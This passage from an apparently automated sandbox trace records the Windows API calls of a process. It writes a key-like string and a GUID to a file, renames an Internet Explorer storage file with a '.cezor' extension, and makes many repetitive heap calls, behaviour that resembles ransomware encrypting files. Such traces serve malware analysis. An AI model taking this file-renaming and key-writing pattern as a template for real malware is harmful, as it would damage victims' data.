Size=0x60) returned 0x30f5d40 [0062.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.268] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.268] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.268] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.269] CloseHandle (hObject=0x5c4) returned 1 [0062.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2058 [0062.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8f0) returned 0x3100c28 [0062.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2058 | out: hHeap=0x670000) returned 1 [0062.269] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.cezor")) returned 1 [0062.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.269] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d2e98 | out: hHeap=0x670000) returned 1 [0062.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0062.270] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30171f0 | out: hHeap=0x670000) returned 1 [0062.271] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0062.271] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0062.277] RtlAllocateHeap (HeapHandle=0x670000, 